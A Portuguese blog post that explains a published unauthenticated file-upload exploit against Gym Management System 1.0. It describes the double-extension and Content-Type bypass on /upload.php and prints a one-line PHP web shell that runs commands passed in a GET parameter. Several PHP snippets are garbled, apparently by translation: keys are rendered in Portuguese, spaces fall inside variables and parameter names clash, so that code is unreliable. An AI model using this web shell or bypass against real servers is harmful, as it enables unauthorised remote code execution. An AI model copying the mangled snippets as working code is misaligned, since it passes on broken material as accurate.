Exploit para o Gym Management System 1.0

Publicado por Igor Matsunaga em

O que é um Exploit?

Um exploit é um pedaço de software, um pedaço de dados ou uma sequência de comandos que tomam vantagem de um defeito, falha ou vulnerabilidade a fim de causar um comportamento acidental ou imprevisto a ocorrer no software ou hardware de um computador ou em algum dispositivo eletrônico.

Alvo

Desenvolvido pela JS TECHNOLOGIES o Gym Management System ou em português Sistema de gerenciamento de ginásio é uma solução utilizada em acadêmias/Ginásios. Possui o intuito de gerenciar equipes, instrutores externos e leads conversations.

Desenvolvido em PHP o GYM Management system sofre de uma vulnerabilidade que pode permitir acesso remoto de código não autenticado por cibercriminosos.

Link do software: https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/
Versão: 1.0

EXPLOIT

Antes de mais nada, esse exploit foi desenvolvido por Bobby Cooke e publicado em 21/05/2020 no site exploit-db.

O Gym Management System versão 1.0 sofre de uma vulnerabilidade de upload de arquivo não autenticado, permitindo que atacantes remotos obtenham Remote Code Execution (RCE) no Hosting Webserver por meio do upload de um arquivo PHP criado com códigos maliciosos que ignora os filtros de upload de imagem.

Exploração

Primeiramente o acesso a página ‘/upload.php’ é permitida, pois ela não verifica se há uma sessão de usuário autenticado. Dessa forma é possível  ignorar a lista de permissões das extensões utilizando uma extensão dupla para mascarar o arquivo malicioso. Se descobriu que a extensão ‘png’ é aceitável. Assim também foi possível ignorar a verificação do tipo de arquivo modificando o parâmetro ‘Content-Type’ do parâmetro ‘file’ para ‘image / png’ na solicitação POST e definindo o parâmetro ‘pupload’ como ‘upload’.

if (isset ($ _ POST ['pupload'])) {
if ((($ _FILES ["arquivo"] ["tipo"] == "imagem / gif")
 || ($ _FILES ["arquivo"] ["tipo"] == "imagem / png")

No corpo do parâmetro ‘arquivo’ da solicitação POST, foi inserido um código PHP malicioso:

<? php echo shell_exec ($ _ GET ["telepatia"]); ?>

O aplicativo da Web renomeará o arquivo para ter a extensão com o segundo item em uma matriz criada a partir do nome do arquivo; separado pelo caractere ‘.’ .

$ pic = $ _ FILES ["arquivo"] ["nome"];
$ conv = explode (".", $ Pic);
$ ext = $ conv ['1'];

O nome padrão do código malicioso enviado é ‘kaio-ken.php.png’. Portanto $ conv [‘0’] = ‘kaio-ken’; $ conv [‘1’] = ‘php’; $ conv [‘2’] = ‘png’;

Logo você pode se comunicar com o webshell em ‘/upload.php?id=kamehameha’ usando GET Requests com o parâmetro telepathy.

Para realizar uma analise mais aprofundada no código acesse o exploit-db em https://www.exploit-db.com/exploits/48506.

Enfim, achei uma exploração bem legal e resolvi gravar uma pequena demostração espero que gostem.


Igor Matsunaga

Diretor Técnico da NSWorld, entusiasta da área hacking, desenvolvedor hacker ético, formado em Segurança da Informação.

0 comentário

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *